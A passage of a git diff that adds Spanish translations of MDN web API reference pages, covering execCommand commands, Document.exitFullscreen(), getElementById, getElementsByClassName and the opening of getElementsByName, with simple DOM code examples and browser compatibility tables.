+ <dd><span id="result_box" lang="es"><span title="Deletes the character ahead of the cursor's position.">Elimina el </span></span>character <span id="result_box" lang="es"><span title="Deletes the character ahead of the cursor's position.">delante de la posición del cursor</span></span> <a href="http://en.wikipedia.org/wiki/Cursor_%28computers%29" title="Cursor (computers)">cursor</a>.  <span id="result_box" lang="es"><span title="It is the same as hitting the delete key.
+">Es lo mismo que pulsar la tecla</span></span> suprimir.</dd>
+ <dt>heading</dt>
+ <dd><span id="result_box" lang="es"><span title="Adds a heading tag around a selection, or insertion point line.">Añade una etiqueta de encabezado en torno a una selección, o la línea en el punto de inserción. </span><span title='Requires the tag-name string to be passed in as a value argument (ie "H1", "H6").'>Requiere la cadena de nombre de etiqueta que se pasa como un valor de </span></span><span lang="es"><span title='Requires the tag-name string to be passed in as a value argument (ie "H1", "H6").'>argumento (es decir, "H1", "H6"). </span><span title="(Not supported by Internet Explorer and Safari.)
+">(No es compatible con Internet Explorer y Safari.)</span></span></dd>
+ <dt>hiliteColor</dt>
+ <dd><span id="result_box" lang="es"><span title="Changes the background color for the selection or at the insertion point.">Cambia el color de fondo para la selección o el punto de inserción. </span><span title="Requires a color value string to be passed in as a value argument.">Requiere una cadena de valores de color que se pasa como un valor de </span></span><span lang="es"><span title="Requires a color value string to be passed in as a value argument.">argumento. </span><span title="UseCSS must be turned on for this to function.">UseCSS debe estar encendido para que esto funcione. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>increaseFontSize</dt>
+ <dd><span id="result_box" lang="es"><span title="Adds a BIG tag around the selection or at the insertion point.">Añade una etiqueta BIG alrededor de la selección o en el punto de inserción. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>indent</dt>
+ <dd><span id="result_box" lang="es"><span class="alt-edited hps">Indenta</span> <span class="alt-edited hps">la línea</span> <span class="hps">que contiene el</span> <span class="hps">punto de selección</span> <span class="hps">o inserción</span><span>.</span> <span class="hps">En Firefox</span><span>, si la selección</span> <span class="hps">abarca varias</span> <span class="hps">líneas</span> <span class="hps">en los diferentes niveles</span> <span class="hps">de</span> <span class="alt-edited hps">indentación</span> <span class="hps">serán</span> <span class="alt-edited hps">indentadas</span> <span class="hps">sólo las líneas</span> <span class="hps">menos</span> <span class="alt-edited hps">indentadas</span> <span class="hps">en</span> <span class="hps">la selección.</span></span></dd>
+ <dt>insertBrOnReturn</dt>
+ <dd><span id="result_box" lang="es"><span title="Controls whether the Enter key inserts a br tag or splits the current block element into two.">Controla si la tecla Intro inserta una etiqueta br o divide el elemento de bloque actual en dos. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>insertHorizontalRule</dt>
+ <dd><span id="result_box" lang="es"><span title="insertHorizontalRule
+    "> </span><span title="Inserts a horizontal rule at the insertion point (deletes selection).
+">Inserta una regla horizontal en el punto de inserción (borra la selección).</span></span></dd>
+ <dt>insertHTML</dt>
+ <dd><span id="result_box" lang="es"><span title="Inserts an HTML string at the insertion point (deletes selection).">Inserta una cadena HTML en el punto de inserción (borra la selección). </span><span title="Requires a valid HTML string to be passed in as a value argument.">Requiere una cadena HTML válido que se ha pasado como un valor de </span></span><span lang="es"><span title="Requires a valid HTML string to be passed in as a value argument.">argumento. </span><span title="(Not supported by Internet Explorer.)
+">(No es compatible con Internet Explorer.)</span></span></dd>
+ <dt>insertImage</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Inserta</span> <span class="hps">una imagen</span> <span class="hps">en</span> <span class="hps">el punto de inserción</span> <span class="hps">(borra</span> <span class="hps">la selección</span><span>)</span><span>.</span> <span class="hps">Requiere</span> <span class="hps">la cadena </span></span>de <span lang="es"><span class="hps">imagen</span> <span class="hps">SRC</span> <span class="hps">URI</span> <span class="hps">que se</span> <span class="hps">pasa como</span> <span class="hps">un</span> <span class="hps">argumento de valor</span><span>.</span> <span class="hps">El</span> <span class="hps">URI</span> <span class="hps">debe contener al menos</span> <span class="hps">un solo carácter,</span> <span class="hps">que puede ser un</span> <span class="hps">espacio en blanco.</span> <span class="hps">(Internet Explorer</span> <span class="hps">creará un enlace</span> <span class="hps">con un nulo</span> <span class="hps">valor</span> <span class="hps">URI</span><span>.</span><span>)</span></span></dd>
+ <dt>insertOrderedList</dt>
+ <dd><span id="result_box" lang="es"><span title="Creates a numbered ordered list for the selection or at the insertion point.
+">Crea una lista ordenada con números para la selección o en el punto de inserción.</span></span></dd>
+ <dt>insertUnorderedList</dt>
+ <dd><span id="result_box" lang="es"><span title="Creates a bulleted unordered list for the selection or at the insertion point.
+">Crea una lista desordenada con viñetas para la selección o en el punto de inserción.</span></span></dd>
+ <dt>insertParagraph</dt>
+ <dd><span id="result_box" lang="es"><span title="insertParagraph
+    ">  </span><span title="Inserts a paragraph around the selection or the current line.">Inserta un párrafo en torno a la selección o la línea actual. </span><span title="(Internet Explorer inserts a paragraph at the insertion point and deletes the selection.)
+">(Internet Explorer inserta un párrafo en el punto de inserción y elimina la selección.)</span></span></dd>
+ <dt>insertText</dt>
+ <dd><span id="result_box" lang="es"><span title="Inserts the given plain text at the insertion point (deletes selection).
+">Inserta el texto plano expedido en el punto de inserción (borra la selección).</span></span></dd>
+ <dt>italic</dt>
+ <dd><span id="result_box" lang="es"><span title="Toggles italics on/off for the selection or at the insertion point.">Alterna cursiva para la selección o el punto de inserción. </span><span title="(Internet Explorer uses the EM tag instead of I.)
+">(Internet Explorer utiliza la etiqueta de EM en lugar de I.)</span></span></dd>
+ <dt>justifyCenter</dt>
+ <dd><span id="result_box" lang="es"><span title="justifyCenter
+    "> </span><span title="Centers the selection or insertion point.
+">Centra el punto de selección o inserción.</span></span></dd>
+ <dt>justifyFull</dt>
+ <dd><span id="result_box" lang="es"><span title="Justifies the selection or insertion point.
+">Justifica el punto de selección o inserción.</span></span></dd>
+ <dt>justifyLeft</dt>
+ <dd><span id="result_box" lang="es"><span title="Justifies the selection or insertion point to the left.
+">Justifica la selección o inserción punto a la izquierda.</span></span></dd>
+ <dt>justifyRight</dt>
+ <dd><span id="result_box" lang="es"><span title="Right-justifies the selection or the insertion point.
+">Justifica la selección o el punto de inserción a la derecha.</span></span></dd>
+ <dt>outdent</dt>
+ <dd><span id="result_box" lang="es"><span class="alt-edited hps">Anula la sangría</span> <span class="alt-edited hps">de la línea que contiene</span> <span class="alt-edited hps">la selección</span> <span class="alt-edited hps">o el punto de inserción</span><span>.</span></span></dd>
+ <dt>paste</dt>
+ <dd><span id="result_box" lang="es"><span title="Pastes the clipboard contents at the insertion point (replaces current selection).">Pega el contenido del portapapeles en el punto de inserción (reemplaza la selección actual). </span><span title="Clipboard capability must be enabled in the user.js preference file.">Capacidad del Portapapeles debe estar habilitado en el archivo de preferencias user.js. </span><span title="See
+">Ver</span></span></dd>
+ <dt>redo</dt>
+ <dd><span id="result_box" lang="es"><span title="Redoes the previous undo command.
+">Rehace el anterior comando deshecho.</span></span></dd>
+ <dt>removeFormat</dt>
+ <dd><span id="result_box" lang="es"><span title="Removes all formatting from the current selection.
+">Quita todo el formato de la selección actual.</span></span></dd>
+ <dt>selectAll</dt>
+ <dd><span id="result_box" lang="es"><span title="Selects all of the content of the editable region.
+">Selecciona todo el contenido de la región editable.</span></span></dd>
+ <dt>strikeThrough</dt>
+ <dd><span id="result_box" lang="es"><span title="Toggles strikethrough on/off for the selection or at the insertion point.
+">Alterna tachado para la selección o el punto de inserción.</span></span></dd>
+ <dt>subscript</dt>
+ <dd><span id="result_box" lang="es"><span title="Toggles subscript on/off for the selection or at the insertion point.
+">Alterna subíndice para la selección o el punto de inserción.</span></span></dd>
+ <dt>superscript</dt>
+ <dd><span id="result_box" lang="es"><span title="Toggles superscript on/off for the selection or at the insertion point.
+">Alterna exponente para la selección o el punto de inserción.</span></span></dd>
+ <dt>underline</dt>
+ <dd><span id="result_box" lang="es"><span title="Toggles underline on/off for the selection or at the insertion point.
+">Alterna subrayado para la selección o el punto de inserción.</span></span></dd>
+ <dt>undo</dt>
+ <dd><span id="result_box" lang="es"><span title="Undoes the last executed command.
+">Deshace el último comando ejecutado.</span></span></dd>
+ <dt>unlink</dt>
+ <dd><span id="result_box" lang="es"><span title="unlink
+    "> </span><span title="Removes the anchor tag from a selected anchor link.
+">Elimina la etiqueta de ancla de un enlace ancla seleccionado.</span></span></dd>
+ <dt>useCSS {{ Deprecated_inline() }}</dt>
+ <dd><span id="result_box" lang="es"><span title="Toggles the use of HTML tags or CSS for the generated markup.">Alterna el uso de etiquetas HTML o CSS para el marcado generado. </span><span title="Requires a boolean true/false as a value argument.">Requiere un booleano verdadero / falso como valor del </span></span><span lang="es"><span title="Requires a boolean true/false as a value argument.">argumento. </span><span title="NOTE: This argument is logically backwards (ie use false to use CSS, true to use HTML).">NOTA: Este argumento es lógicamente hacia atrás (es decir, si se usa falso a usar CSS, entonces es verdadero a usar HTML). </span><span title="(Not supported by Internet Explorer.) This has been deprecated;">(No compatible con Internet Explorer.) Esto ha quedado obsoleto; </span><span title="use the styleWithCSS command instead.
+">utilice el comando <em>styleWithCSS</em> en su lugar.</span></span></dd>
+ <dt>styleWithCSS</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Reemplaza</span> <span class="hps">el comando</span> <em><span class="hps">useCSS</span></em><span>;</span> <span class="alt-edited hps">el argumento funciona</span> <span class="alt-edited hps">como se esperaba</span><span>,</span> <span class="hps">es decir,</span> <span class="alt-edited hps">si es verdadero</span> <span class="hps">modifica</span> <span class="hps">/</span> <span class="hps">genera</span> <span class="hps">atributos</span> <span class="hps">de estilo</span> <span class="hps">en el marcado</span><span>,</span> <span class="hps">falso</span> <span class="hps">genera</span> <span class="hps">elementos de formato</span><span>.</span></span></dd>
+</dl>
+
+<h2 id="Example" name="Example"><span id="result_box" lang="es"><span title="Example
+
+">Ejemplo</span></span></h2>
+
+<p>(<span id="result_box" lang="es"><span title="(This article is currently incomplete and lacks an example.)
+">Este artículo está actualmente incompleto y carece de un ejemplo</span></span>.)</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility"><span id="result_box" lang="es"><span title="Browser compatibility
+
+">Compatibilidad del navegador</span></span></h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span id="result_box" lang="es"><span title="Feature	Chrome	Firefox (Gecko)	Internet Explorer	Opera	Safari
+">Característica</span></span></th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><span id="result_box" lang="es"><span title="Basic support	{{ CompatUnknown() }}	{{ CompatUnknown() }}	{{ CompatVersionUnknown() }}	{{ CompatUnknown() }}	{{ CompatUnknown() }}	{{ CompatUnknown() }}">Soporte básico</span></span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>insertBrOnReturn</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span id="result_box" lang="es"><span title="Feature	Chrome	Firefox (Gecko)	Internet Explorer	Opera	Safari
+">Característica</span></span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span id="result_box" lang="es"><span title="Basic support	{{ CompatUnknown() }}	{{ CompatUnknown() }}	{{ CompatVersionUnknown() }}	{{ CompatUnknown() }}	{{ CompatUnknown() }}	{{ CompatUnknown() }}">Soporte básico</span></span></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span id="result_box" lang="es"><span title="See Scribe's &quot;Browser Inconsistencies&quot; documentation for a list of many browser bugs related to document.execCommand.
+">Consulte la </span></span><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a><span lang="es"><span title="See Scribe's &quot;Browser Inconsistencies&quot; documentation for a list of many browser bugs related to document.execCommand.
+"> para obtener una lista de los muchos errores del navegador relacionadas con</span></span> <code>document.execCommand</code>.</p>
+</div>
+
+<h2 id="Specification" name="Specification"><span id="result_box" lang="es"><span title="Specification
+">Especificación</span></span></h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><span id="result_box" lang="es"><span title="Specification	Status	Comment
+
+">Especificación</span></span></th>
+   <th scope="col"><span id="result_box" lang="es"><span title="Status">Estado</span></span></th>
+   <th scope="col"><span id="result_box" lang="es"><span title="Status	Comment
+
+">Comentario</span></span></th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#execcommand()','execCommand')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also"><span id="result_box" lang="es"><span title="See also">Vea también</span></span></h2>
+
+<ul>
+ <li>{{domxref("document.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Edición de texto enriquecido en Mozilla</a></li>
+</ul>
diff --git a/files/es/web/api/document/exitfullscreen/index.html b/files/es/web/api/document/exitfullscreen/index.html
new file mode 100644
index 0000000000..cd90147d82
--- /dev/null
+++ b/files/es/web/api/document/exitfullscreen/index.html
@@ -0,0 +1,75 @@
+---
+title: Document.exitFullscreen()
+slug: Web/API/Document/exitFullscreen
+translation_of: Web/API/Document/exitFullscreen
+---
+<div>{{ApiRef("Fullscreen API")}}</div>
+
+<p><span class="seoSummary">El método <code><strong>exitFullscreen()</strong></code> de {{domxref("Document")}} </span>solicita que el elemento de este documento que se presenta actualmente en modo de pantalla completa se retire del modo de pantalla completa, restaurando el estado anterior de la pantalla. Esto generalmente revierte los efectos de una llamada previa a {{domxref("Element.requestFullscreen()")}}.</p>
+
+<p>La excepción es si otro elemento ya estaba en modo de pantalla completa cuando el elemento actual se colocó en modo de pantalla completa usando <code>requestFullscreen()</code>. En ese caso, el elemento de pantalla completa anterior se restaura al estado de pantalla completa. En esencia, se mantiene un {{interwiki("wikipedia", "Stack_(abstract_data_type)", "stack")}} de elementos de pantalla completa.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>exitPromise</em> = <em>document</em>.exitFullscreen();
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un {{jsxref("Promise")}} que se resuelve una vez que el {{Glossary("user agent")}} a terminado de salir del modo de pantalla completa. Si se produce un error al intentar salir del modo de pantalla completa, se llama al controlador <code>catch()</code> para la promesa.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo hace que el documento actual entre y salga de una presentación a pantalla completa cada vez que se hace clic dentro del botón del mouse.</p>
+
+<pre class="brush: js">document.onclick = function (event) {
+  if (document.fullscreenElement) {
+    document.exitFullscreen()
+  } else {
+    document.documentElement.requestFullscreen()
+  }
+};</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Para un ejemplo más completo, vea {{SectionOnPage("/en-US/docs/Web/API/Element/requestFullScreen", "Example")}}.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("api.Document.exitFullscreen")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API">Fullscreen API</a></li>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API/Guide">Guide to the Fullscreen API</a></li>
+ <li>{{ domxref("Element.requestFullscreen()") }}</li>
+ <li>{{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{ cssxref(":fullscreen") }} and {{cssxref("::backdrop")}}</li>
+ <li>The {{HTMLElement("iframe")}} {{ HTMLAttrXRef("allowfullscreen", "iframe") }} attribute</li>
+</ul>
diff --git a/files/es/web/api/document/getelementbyid/index.html b/files/es/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..1232df45b4
--- /dev/null
+++ b/files/es/web/api/document/getelementbyid/index.html
@@ -0,0 +1,200 @@
+---
+title: document.getElementById
+slug: Web/API/Document/getElementById
+tags:
+  - API
+  - DOM
+  - Documento
+  - Elementos
+  - Referencia
+  - Web
+  - id
+  - metodo
+translation_of: Web/API/Document/getElementById
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>Devuelve una referencia al elemento por su <a href="/en-US/docs/DOM/element.id" title="en-US/docs/DOM/element.id">ID</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush: js">elemento = document.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><strong>id</strong></code></dt>
+ <dd>Es una cadena sensible a mayúsculas referida al ID único del elemento buscado.</dd>
+</dl>
+
+<h3 id="Valor_Retornado"><strong>Valor Retornado</strong></h3>
+
+<dl>
+ <dt><code><strong>element</strong></code></dt>
+ <dd>Es una referencia a un objeto {{domxref("Element")}}, o <code>null</code> si un elemento con el ID especificado no se encuentra en el documento.</dd>
+ <dt>
+ <h2 id="Ejemplo">Ejemplo</h2>
+
+ <h3 id="HTML">HTML</h3>
+
+ <pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+   &lt;title&gt;Ejemplo getElementById&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+   &lt;p id="para"&gt;Cualquier texto acá&lt;/p&gt;
+   &lt;button onclick="changeColor('blue');"&gt;Azul&lt;/button&gt;
+   &lt;button onclick="changeColor('red');"&gt;Rojo&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+ <h3 id="JavaScript">JavaScript</h3>
+
+ <pre class="brush: js">function changeColor(newColor) {
+   var elem = document.getElementById('para');
+   elem.style.color = newColor;
+}
+</pre>
+
+ <h3 id="Resultado">Resultado</h3>
+
+ <p>{{EmbedLiveSample('Ejemplo', 250, 100)}}</p>
+ </dt>
+</dl>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Los usuarios nuevos deberían notar que escribir en mayúsculas 'Id' en el nombre de este método <em>debe ser corregida</em> para que el código sea válido - 'getElementByID' no funcionará a pesar de que parezca natural.</p>
+
+<p>A diferencia de otros métodos similares, getElementById sólo está disponible como un método del objeto global document, y no se encuentra disponible como un método en todos los objetos  del DOM. Como los valores ID deben ser únicos a traves del documento, no existe necesidad para versiones "locales" de la función.</p>
+
+<h2 id="Ejemplo_2">Ejemplo</h2>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Documento&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;Hola Mundo 1&lt;/p&gt;
+        &lt;p id="test1"&gt;Hola Mundo 2&lt;/p&gt;
+        &lt;p&gt;Hola palabra 3&lt;/p&gt;
+        &lt;p&gt;Hola palabra 4&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;script&gt;
+        var parentDOM = document.getElementById('parent-id');
+        var test1=parentDOM.getElementById('test1');
+        //lanza error
+        //Uncaught TypeError: parentDOM.getElementById is not a function
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Si no existe un elemento con la <code>id</code> solicitada, esta función devuelve <code>null</code>. Note que el parámetro <code>id</code> es sensible a mayúsculas, así que <code>document.getElementById("Main")</code> devolverá <code>null</code> dentro del elemento <code>&lt;div id="main"&gt;</code> porque "M" y "m" son diferentes para los propósitos de este método.</p>
+
+<p><strong>Elementos que no se encuentren</strong> en el documento no serán buscados por <code>getElementById()</code>. Cuando se cree un elemento y se le asigne un ID, debe insertar el elemento dentro del árbol del documento con {{domxref("Node.insertBefore()")}} u otro método similar antes de que se pueda acceder a el con <code>getElementById()</code>:</p>
+
+<div id="&lt;strong>m&lt;/strong>ain">
+<pre class="brush: js">var element = document.createElement("div");
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el será null!
+</pre>
+
+<p><strong>Documentos no-HTML</strong>. La implementación de DOM debe tener información que diga que atributos son del tipo ID. Los atributos con el nombre "id" son son del tipo ID a menos que se los defina en el DTD del documento. El atributo <code>id</code> es definido para ser del tipo ID en los casos comunes de <a href="https://developer.mozilla.org/en-US/docs/XHTML">XHTML</a>, <a href="/es/docs/Mozilla/Tech/XUL">XUL</a>,  y otros. Las implementaciones que no sepan si los atributos son o no del tipo ID se espera que retornen null.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial para la interfase</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Supersede DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Supersede DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Intend to supersede DOM 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>5.5</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>La referencia <a href="/en-US/docs/DOM/document" title="en-US/docs/DOM/document">document</a> para otros métodos y propiedades que se pueden usar para obtener referencias a elementos en el documento.</li>
+ <li><a href="/en-US/docs/Web/API/document.querySelector">document.querySelector()</a> para selectores via consultas como <code>'div.myclass'</code></li>
+ <li><a href="/en-US/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - tiene un método utilitario para permitir que <code>getElementById()</code> obtenga 'xml:id' en documentos XML documents (como los retornados por llamadas Ajax.</li>
+</ul>
+</div>
diff --git a/files/es/web/api/document/getelementsbyclassname/index.html b/files/es/web/api/document/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..b3a7179e4d
--- /dev/null
+++ b/files/es/web/api/document/getelementsbyclassname/index.html
@@ -0,0 +1,96 @@
+---
+title: Document.getElementsByClassName()
+slug: Web/API/Document/getElementsByClassName
+translation_of: Web/API/Document/getElementsByClassName
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Retorna un objecto similar a un array de los elementos hijos que tengan todos los nombres de clase indicados. Cuando es llamado sobre el objeto document , la busqueda se realiza en todo el document, incluido el nodo raíz. También puedes llamar {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} sobre cualquier elemento; en ese caso retornara sólo los elementos hijos del elemento raíz indicado que contengan los nombres de clase indicados.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>var elementos</var> = document.getElementsByClassName(<em>nombres</em>); // ó :
+<var>var elementos</var> = elementoRaiz.getElementsByClassName(<em>nombres</em>);</pre>
+
+<ul>
+ <li><var>elementos es una</var> {{ domxref("HTMLCollection") }} de los elementos encontrados.</li>
+ <li><var>nombres es un string que representa la lista de nombres de clase a buscar; los nombres de clase se separan con un espacio.</var></li>
+ <li>getElementsByClassName se puede llamar sobre cualquier elemento, no solo sobre document. El elemento sobre el que se llama será usado como la raíz de la busqueda.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>Obtener todos los elementos de la clase 'prueba'</p>
+
+<pre class="brush: js">document.getElementsByClassName('prueba');</pre>
+
+<p>Obtener todos los elementos que tengan al mismo tiempo las clases 'rojo' y 'prueba'</p>
+
+<pre class="brush: js">document.getElementsByClassName('rojo prueba');</pre>
+
+<p>Obtener todos los elementos que tengan la clase 'prueba' y que estén dentro de un elemento de ID 'principal'</p>
+
+<pre class="brush: js">document.getElementById('principal').getElementsByClassName('prueba');</pre>
+
+<p>También podemos usar los metodos de Array.prototype en cualquier {{ domxref("HTMLCollection") }} pasando el <em>HTMLCollection</em> como el valor <em>this</em> del método. Aquí buscaremos todos los elementos div de la clase 'test':</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>3.0</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Especifiación</h2>
+
+<ul>
+ <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li>
+</ul>
diff --git a/files/es/web/api/document/getelementsbyname/index.html b/files/es/web/api/document/getelementsbyname/index.html
new file mode 100644
index 0000000000..50350fe0ec
--- /dev/null
+++ b/files/es/web/api/document/getelementsbyname/index.html
@@ -0,0 +1,81 @@
+---
+title: Document.getElementsByName()
+slug: Web/API/Document/getElementsByName
+translation_of: Web/API/Document/getElementsByName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Returns a nodelist collection with a given {{domxref("element.name","name")}} in the (X)HTML document.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>elements</em> = document.getElementsByName(<em>name</em>)
+</pre>
+
+<ul>
